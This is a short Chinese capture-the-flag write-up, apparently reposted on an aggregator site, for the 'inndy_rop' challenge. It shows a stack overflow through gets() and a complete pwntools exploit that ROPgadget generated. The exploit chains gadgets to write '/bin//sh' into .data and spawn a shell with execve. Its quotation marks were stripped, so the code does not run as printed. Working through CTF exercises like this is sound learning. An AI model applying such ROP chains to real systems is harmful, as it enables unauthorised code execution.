inndy_rop

Posted bhxdn

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了inndy_rop相关的知识,希望对你有一定的参考价值。

  头一次见这种题。。。

  32位程序,开启了堆栈不可执行。技术图片

  ida看一眼伪代码。main函数跟前有个函数,进去看一眼。

技术图片

  技术图片

  就一个gets函数,干净利落。。。

  可以进行溢出。听大佬们说,这种情况,就是特别ida看起来特复杂,就是静态编译的结果。静态编译就不会调用libc中的东西,所以我们也不存在泄露版本利用libc的函数了。

  ROPgadget有一个功能,直接利用程序中的片段拼凑rop链。

ROPgadget --binary rop --ropchain

  技术图片

 

  直接替我们把exp都写好了。。。我们直接复制,加个偏移就好了。。。

  记录一下,毕竟没见过。

  贴一下完整的exp:

  

 1 from pwn import *
 2 from struct import pack
 3 
 4 q = process(./rop)
 5 context.log_level = debug
 6 
 7 def payload():
 8     p = a*0xc + bbbb
 9     p += pack(<I, 0x0806ecda) # pop edx ; ret
10     p += pack(<I, 0x080ea060) # @ .data
11     p += pack(<I, 0x080b8016) # pop eax ; ret
12     p += /bin
13     p += pack(<I, 0x0805466b) # mov dword ptr [edx], eax ; ret
14     p += pack(<I, 0x0806ecda) # pop edx ; ret
15     p += pack(<I, 0x080ea064) # @ .data + 4
16     p += pack(<I, 0x080b8016) # pop eax ; ret
17     p += //sh
18     p += pack(<I, 0x0805466b) # mov dword ptr [edx], eax ; ret
19     p += pack(<I, 0x0806ecda) # pop edx ; ret
20     p += pack(<I, 0x080ea068) # @ .data + 8
21     p += pack(<I, 0x080492d3) # xor eax, eax ; ret
22     p += pack(<I, 0x0805466b) # mov dword ptr [edx], eax ; ret
23     p += pack(<I, 0x080481c9) # pop ebx ; ret
24     p += pack(<I, 0x080ea060) # @ .data
25     p += pack(<I, 0x080de769) # pop ecx ; ret
26     p += pack(<I, 0x080ea068) # @ .data + 8
27     p += pack(<I, 0x0806ecda) # pop edx ; ret
28     p += pack(<I, 0x080ea068) # @ .data + 8
29     p += pack(<I, 0x080492d3) # xor eax, eax ; ret
30     p += pack(<I, 0x0807a66f) # inc eax ; ret
31     p += pack(<I, 0x0807a66f) # inc eax ; ret
32     p += pack(<I, 0x0807a66f) # inc eax ; ret
33     p += pack(<I, 0x0807a66f) # inc eax ; ret
34     p += pack(<I, 0x0807a66f) # inc eax ; ret
35     p += pack(<I, 0x0807a66f) # inc eax ; ret
36     p += pack(<I, 0x0807a66f) # inc eax ; ret
37     p += pack(<I, 0x0807a66f) # inc eax ; ret
38     p += pack(<I, 0x0807a66f) # inc eax ; ret
39     p += pack(<I, 0x0807a66f) # inc eax ; ret
40     p += pack(<I, 0x0807a66f) # inc eax ; ret
41     p += pack(<I, 0x0806c943) # int 0x80
42     return p
43 shell = payload()
44 q.sendline(shell)
45 q.interactive()

以上是关于inndy_rop的主要内容,如果未能解决你的问题,请参考以下文章

VSCode自定义代码片段——CSS选择器

谷歌浏览器调试jsp 引入代码片段,如何调试代码片段中的js

片段和活动之间的核心区别是啥?哪些代码可以写成片段?

VSCode自定义代码片段——.vue文件的模板

VSCode自定义代码片段6——CSS选择器

VSCode自定义代码片段——声明函数